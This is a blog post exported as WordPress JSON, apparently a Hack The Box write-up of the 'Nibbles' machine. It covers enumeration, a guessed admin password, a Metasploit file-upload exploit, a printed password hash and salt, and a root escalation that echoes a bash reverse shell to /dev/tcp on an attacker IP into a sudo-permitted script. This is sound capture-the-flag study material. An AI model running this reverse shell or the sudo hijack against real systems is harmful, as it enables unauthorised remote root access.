{"id":19,"date":"2026-01-19T21:42:07","date_gmt":"2026-01-19T21:42:07","guid":{"rendered":"https:\/\/patatties.nl\/?p=19"},"modified":"2026-01-19T22:17:22","modified_gmt":"2026-01-19T22:17:22","slug":"htb-nibbles","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=19","title":{"rendered":"HTB: Nibbles"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image.png\" alt=\"\" class=\"wp-image-20\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-150x150.png 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"978\" height=\"77\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-17.png\" alt=\"\" class=\"wp-image-60\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-17.png 978w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-17-300x24.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-17-768x60.png 768w\" sizes=\"auto, (max-width: 978px) 100vw, 978px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.hackthebox.com\/machines\/Nibbles\">https:\/\/app.hackthebox.com\/machines\/Nibbles<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Initial contact<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Starting off a box as i always do: Ping en nmap the host. Ping so i know the VPN works, and nmap to enumerate open ports and services.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"735\" height=\"329\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-1.png\" alt=\"\" class=\"wp-image-21\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-1.png 735w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-1-300x134.png 300w\" sizes=\"auto, (max-width: 735px) 100vw, 735px\" \/><\/figure>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">Two ports open. 22 (ssh) and 80 (http). Fairly standard. we can also see that apache 2.4.18 is is used on the http server. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A vanilla dirb enumeration doesn&#8217;t turn up anything very interesting.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"455\" height=\"378\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-5.png\" alt=\"\" class=\"wp-image-25\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-5.png 455w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-5-300x249.png 300w\" sizes=\"auto, (max-width: 455px) 100vw, 455px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Lets have a look on the website.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The landing page seems quite empty. Looking at the page source, we see that there&#8217;s another directory where we should go.<br><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"650\" height=\"363\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-2.png\" alt=\"\" class=\"wp-image-22\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-2.png 650w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-2-300x168.png 300w\" sizes=\"auto, (max-width: 650px) 100vw, 650px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The nibble blog looks a bit like a very old wordpress site. but nibble is apperently some type of CMS of its own.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"620\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-3-1024x620.png\" alt=\"\" class=\"wp-image-23\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-3-1024x620.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-3-300x182.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-3-768x465.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-3.png 1032w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Looks like nothing much. It seems to be mainly 1 page: index.php.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Except for the atom link at the bottom, which goes to a feed.php<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"976\" height=\"321\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-4.png\" alt=\"\" class=\"wp-image-24\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-4.png 976w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-4-300x99.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-4-768x253.png 768w\" sizes=\"auto, (max-width: 976px) 100vw, 976px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A quick search for nibbleblog on https:\/\/exploit-db.com gives us a couple of options.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"117\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-6-1024x117.png\" alt=\"\" class=\"wp-image-26\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-6-1024x117.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-6-300x34.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-6-768x87.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-6-1536x175.png 1536w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-6.png 1555w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It feels like this is the way forward. Lets look at the 2015 one first.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">from msfconsole, i look up the corresponding exploit. and line it up.<br><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"974\" height=\"254\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-7.png\" alt=\"\" class=\"wp-image-27\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-7.png 974w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-7-300x78.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-7-768x200.png 768w\" sizes=\"auto, (max-width: 974px) 100vw, 974px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Show options reveals that this exploit works with an authenticated session. I haven&#8217;t found any credentials yet. so this seems to be a dead end, for now. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The second exploit points to some SQL Injection oppertunities. Though i usually look for search functions for SQL Injection, this one seems to work with the parameters of the website itself. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"174\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-8-1024x174.png\" alt=\"\" class=\"wp-image-28\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-8-1024x174.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-8-300x51.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-8-768x130.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-8.png 1345w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">I havent&#8217;s seen parameters page or idpost being used, but lets have a look.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shame, both don&#8217;t seem to be present to inject into. I have some other parameters, might aswell check if sqlmap picks anything up.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No luck! lets look further. Quite an old apache version was installed (offcourse, its an old box) Lets see if that should contain some interesting vulnerabilities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Also, no luck. Seems this version of apache was quite stable. Lets enumerate more.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I didn&#8217;t do a dirb on the nibbleblog directory yet, so lets see what that turns up. found some more pages.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"550\" height=\"164\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-9.png\" alt=\"\" class=\"wp-image-29\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-9.png 550w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-9-300x89.png 300w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">These directories are listable, so looking trough the &#8220;content&#8221; folder i see a reference in private\/users.xml of the username <strong>admin<\/strong>. Good to know.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Okay, i&#8217;ve perused all the files on the different directories, but can find a password anywhere. I&#8217;ve also tried finding some factory default credentials, but since this software got discontinued in 2022, there isnt a lot of information out there. Acually, i had do dodge and weave as to not see all the other write-ups out there.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I tried all kinds of defaul password combinations with the Admin username we found before. Apperently the password was <strong>nibbles<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I had to look this up in another walktrough. I&#8217;m not a big fan of guessing like this. I guess, if i would refine my process to try and combat this, i should make a list with a tool like CEWL, and spray the password. However, there is actually a block function that will block you at some point.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Anyway, we&#8217;re in the admin panel!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"630\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-10-1024x630.png\" alt=\"\" class=\"wp-image-30\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-10-1024x630.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-10-300x185.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-10-768x473.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-10.png 1189w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">I remember that we had an authenticated arbitrary file upload.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We&#8217;re back in msfconsole, and have set up the exploit.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"375\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-11-1024x375.png\" alt=\"\" class=\"wp-image-31\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-11-1024x375.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-11-300x110.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-11-768x281.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-11.png 1300w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">and GO! (oops, wrong ip, change it around aaand) GO!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"827\" height=\"178\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-12.png\" alt=\"\" class=\"wp-image-32\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-12.png 827w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-12-300x65.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-12-768x165.png 768w\" sizes=\"auto, (max-width: 827px) 100vw, 827px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">we have a shell! We&#8217;re logged on as nibbler<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Looking back at the website folder, i wen looking trough some interesting looking files. there was a shadow.php. Now that i can see the content, it contained a password hash and salt.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php $_USER&#91;0]&#91;\"uid\"] = \"0\"; $_USER&#91;0]&#91;\"username\"] = \"admin\"; $_USER&#91;0]&#91;\"password\"] = \"ea8e3c9799c10e2982c0b54299fd866f32b95f5a\"; $_USER&#91;0]&#91;\"salt\"] = \"8^8!@tv&amp;zb3\"; $_USER&#91;0]&#91;\"email\"] = \"admin@nibbles.com\"; ?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">I shall review some other blogs to see if i should&#8217;ve been able to get this without guessing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Anyway, this shell gives access to the \/home\/nibbler\/user.txt and gives us t he first flag!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Now to hunt for the root flag. I like to start with some looking around. There&#8217;s a personal.zip in the \/home\/nibbler directory. Also, looking at what i can run as root with nopassword is the following.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo -l\nMatching Defaults entries for nibbler on Nibbles:\nenv_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser nibbler may run the following commands on Nibbles:\n(root) NOPASSWD: \/home\/nibbler\/personal\/stuff\/monitor.sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">funny thing is that the personal directory doesnt exist here. it seems to have been zipped!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ls -la\ntotal 20\ndrwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .\ndrwxr-xr-x 3 root    root    4096 Dec 10  2017 ..\n-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history\ndrwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano\n-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip\n-r-------- 1 nibbler nibbler   33 Jan 19 16:00 user.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Im pretty sure that i can just create these folders, put a reverse shell at monitor.sh, and run it with sudo. Lets try it!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For reverse shells my go to is <a href=\"https:\/\/www.revshells.com\/\">https:\/\/www.revshells.com\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">lets get a bash reverse shell:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"871\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-15-1024x871.png\" alt=\"\" class=\"wp-image-35\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-15-1024x871.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-15-300x255.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-15-768x653.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-15.png 1129w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">and echo it to the script we need.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To ensure execution with bash, not sh, i added \/bin\/bash -c &#8216;payload&#8217;, like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"\/bin\/bash -c '\/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.10.15.104\/8888 0&gt;&amp;1'\" &gt; monitor.sh\n\nsudo .\/monitor.sh\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">and, succes!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"638\" height=\"134\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-16.png\" alt=\"\" class=\"wp-image-36\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-16.png 638w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-16-300x63.png 300w\" sizes=\"auto, (max-width: 638px) 100vw, 638px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\/root\/root.txt is now available. This concludes this box!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Final thoughts<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">It was an easy box, this i knew before i started. But that&#8217;s fine! What i didn&#8217;t like is that you have to guess the password to the admin user. Maybe the box is dated, and this was the factory default.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This way i spent a lot of time enumerating for some data that isn&#8217;t even there. i mean, i did try admin:admin and admin:password, but other than that. i dont know&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Oh well. We&#8217;re done now, onto the next!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>https:\/\/app.hackthebox.com\/machines\/Nibbles Initial contact Starting off a box as i always do: Ping en nmap the host. Ping so i know the VPN works, and nmap to enumerate open ports and services. Two ports open. 22 (ssh) and 80 (http). Fairly standard. we can also see that apache 2.4.18 is is used on the http server. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-19","post","type-post","status-publish","format-standard","hentry","category-htb"],"_links":{"self":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/19","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19"}],"version-history":[{"count":3,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/19\/revisions"}],"predecessor-version":[{"id":61,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/19\/revisions\/61"}],"wp:attachment":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}